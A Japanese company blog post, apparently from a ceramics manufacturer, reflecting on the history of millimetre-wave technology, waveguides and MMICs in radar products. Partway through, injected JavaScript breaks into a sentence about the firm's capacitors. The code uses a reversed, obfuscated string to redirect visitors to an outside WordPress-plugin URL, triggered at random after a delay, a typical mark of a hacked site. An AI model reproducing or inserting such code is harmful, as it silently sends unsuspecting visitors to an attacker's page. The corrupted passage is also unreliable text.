最近の高周波製品から感じるミリ波の歴史と技術の移り変わり

最近の高周波製品から感じるミリ波の歴史と技術の移り変わり

自動車の衝突防止レーダーをはじめとして、ミリ波を活用した製品が身近な物になってきている。

ミリ波を使用する製品は、話が盛り上がっては消え、盛り上がっては消えを繰り返してきたが、本格的に一般化されてきたように思う。弊社のSLC(SingleLayerCapacitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor)やアルミナ基板をはじめとしたセラミック製品も、とてもたくさんのミリ波製品にご使用いただいている。

ところで、20年ほど前に77GHz帯の衝突防止レーダーの試作機を設計・製作したことがあるが、その時は導波管コンポーネントを使用した。波長の短いミリ波といえども、導波管はスペースをとるし重量はかさむしで、なるべくコンパクトに軽くという希望を叶えるのにとても苦労した。

 

そんな話を社外の若いエンジニアとしたら、導波管は知っているが実際に使ったことはないそうだ。

民生向けの製品はMMIC(MonolithicMicrowaveIntegratedCircuit)を使って回路を組んでしまうので、確かに使う機会は減ってきているのかもしれない。

導波管の最大のメリットは、なんといっても挿入損失が少ないことだろう。今でも特性重視の通信機器などには導波管が使用されている。

 

そういえばバブルの頃、真っ赤なテスタロッサをドライブして導波管の納品に来ていた社長さんは、今はどうしているだろうか。


創業40年の製造業。ダイヤモンド事業からスタートしたテクダイヤは、会社本来の「人好き」が作用し、人との出会いを繰り返しながら業態変化を続ける。 現在はセラミック応用技術・精密機械加工技術・ダイヤモンド加工技術をコアとしながら先端技術のものづくりを支える。スマホやデータセンターなどの通信市場、更にはNASAやバイオ領域にも進出中。